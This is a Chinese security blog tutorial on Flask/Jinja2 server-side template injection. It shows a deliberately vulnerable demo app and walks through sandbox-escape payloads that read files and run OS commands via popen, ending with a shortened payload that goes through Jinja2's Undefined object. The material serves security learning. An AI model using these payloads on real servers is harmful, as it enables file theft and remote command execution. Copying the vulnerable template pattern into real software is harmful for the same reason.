关于Flask SSTI,解锁你不知道的新姿势

0x01前言

本文主要介绍笔者在学习 Flask SSTI
相关知识时,无意中解锁了新姿势。在研究原理后,从中挖掘出新的奇怪知识点~

0x02前置知识

Flask 和 SSTI 介绍

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI
工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。

SSTI (Server-Side Template
Injection),即服务端模板注入攻击。通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者
getshell 的目的。

jinja2 语法

在 jinja2 中,存在三种语法:

控制结构 {% %}
变量取值 {{ }}
注释 {# #}

jinja2 模板中使用 {{ }}
语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2
支持 Python 中所有的 Python 数据类型比如列表、字段、对象等。 jinja2
中的过滤器可以理解为是 jinja2 里面的内置函数和字符串处理函数。
被两个括号包裹的内容会输出其表达式的值。

沙箱绕过

jinja2 的 Python
模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而
Flask 的 SSTI
就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。

函数和属性解析:

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量 与 func_globals 等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

获取 object 类:

''.__class__.__mro__[2]     # 在 python2 中字符串在考虑解析时会有三个参考类 str basestring object
''.__class__.__mro__[1]     # 在 python3 中字符串在考虑解析时会有两个参考类 str object
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]

0x03原理解读

简单尝试

先来看下一个简单的 Flask SSTI 的实例:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')
    t = Template("Hello " + name)             # 创建模板
    return t.render()                         # 渲染

if __name__ == "__main__":
    app.run();                                # 启动 flask ,默认 5000 端口

代码很简单,就是访问主页的时候 name 参数会被渲染到页面。

pic2

可以看出来到这里有个反射型 XSS ,的确如此 XSS 就是这个位置有可能有 SSTI
的前奏。

pic3

name参数后边也可以输入表达式之类的,例如:

name={{2*2}} 

pic4

name={{'abc'.upper()}}

pic5

可以看到取表达式的值是可以成功的。但是一旦直接调用普通函数就会报错:

name={{abs(-1)}}

pic6

后台显示 abs 未定义:

pic7

绕过沙箱

我们来尝试获取 “()” 的类型:

name={{().__class__.__name__}}

pic8

成功获取 “()” 的类型 tuple(元组) 。我们知道 Python
中所有类型的其实都是 object 类型,所以下面我们继续尝试: 获取到 object
类型:

name={{().__class__.__base__.__name__}}

pic9

获取到 object 的所有子类:

name={{''.__class__.__mro__[1].__subclasses__().__name__}}

pic10

发现子类型有很多,在这里我们需要找到内建模块中含有 eval 或者 open
的类型来使我们可以执行代码或读取文件。 查找脚本如下:

code = 'eval'             # 查找包含 eval 函数的内建模块的类型
i = 0
for c in ().__class__.__base__.__subclasses__():
    if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]:
        print('{} {}'.format(i,c))
    i = i + 1

运行结果:

pic11

在Python 2/3 版本中有这么多类型的内建模块中都包含 eval
。这里为了让最后的结果同时兼容 Python 2/3 版本我们使用索引为 77 的类型:
class ‘site.Quitter’ 。

我们看看在这个 class ‘site.Quitter’ 的 global 环境下都可以执行那些函数:

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']}}

pic12

可以看到几个敏感函数
eval、open、file等等,应有尽有。这样我们就可以做很多我们想做的事了。

执行代码 abs(-1):

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

pic13

看到 abs(-1)
已经执行成功,至此我们已经成功绕过了沙箱,执行了本不可执行的代码。

常用可兼容Python 2/3 版本的 Payload:
读取文件:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']("C:\Windows\win.ini").read()}}

pic20

命令执行:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

pic21

是不是觉得这些 Payload
有些长了呢?那么有没有什么办法可以缩减一些长度呢?

0x04 解锁新姿势

无意中的尝试

当我在编写脚本和将 Payload
输入浏览器的时候,因手误无意中组成了一个错误的 Payload :

name={{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

执行结果:

pic14

竟然访问成功了!

那么为什么会访问成功呢?

().class.base.subclasses() 理应返回的是 object
类型的所有子类的列表,是不应该包含 c 这个属性的。

理论上应该造成服务端错误返回 500 ,服务器日志显示 AttributeError: ‘list’
object has no attribute ‘c’。但是结果却是成功执行了,这让我意识到 jinja2
的沙箱环境,跟普通 Python 运行环境还是有很多不同的。

既然这样的话我们就看下这个 c 对象的 init 函数到底是个啥?

name={{().__class__.__base__.__subclasses__().c.__init__}}

执行结果: pic15

竟然是一个 Undefined 类型,也就是说如果碰到未定义的变量就会返回为
Undefined 类型.而 Python 官方库是没有这个类型的,也就是说明这个
Undefined 是 jinja2 框架提供的。 我们在 jinja2 框架的源码中搜寻,最后在
runtime.py 中找到了 Undefined 这个 class:

pic16

继承的是 object 类型,并且还有其他函数。 为了确认是这个 class
我们尝试使用 _fail_with_undefined_error :

name={{().__class__.__base__.__subclasses__().c._fail_with_undefined_error}}

pic17

OK,确认过眼神,我遇见对的class !

既然都是 Undefined 那我随便定义一个未被定义过的变量也应该是 Undefined :

name={{a.__init__.__globals__.__builtins__}}

pic18

既然 Undefined 类可以执行成功,那我们就可以看看他的全局 global
的内建模块中都包含什么了:

name={{a.__init__.__globals__.__builtins__}}

pic19

老样子,还是可以看到几个敏感函数 eval、open 等等,应有尽有。

优化 Payload

对此我们直接优化我们的 Payload,使长度大大缩短,可读性也变强了。

优化后的兼容 Python 2/3 版本的 Payload:
读取文件:

{{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()}}

pic22

命令执行:

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

0x05 最后

此篇文章已投稿于公众号 - 酒仙桥六号部队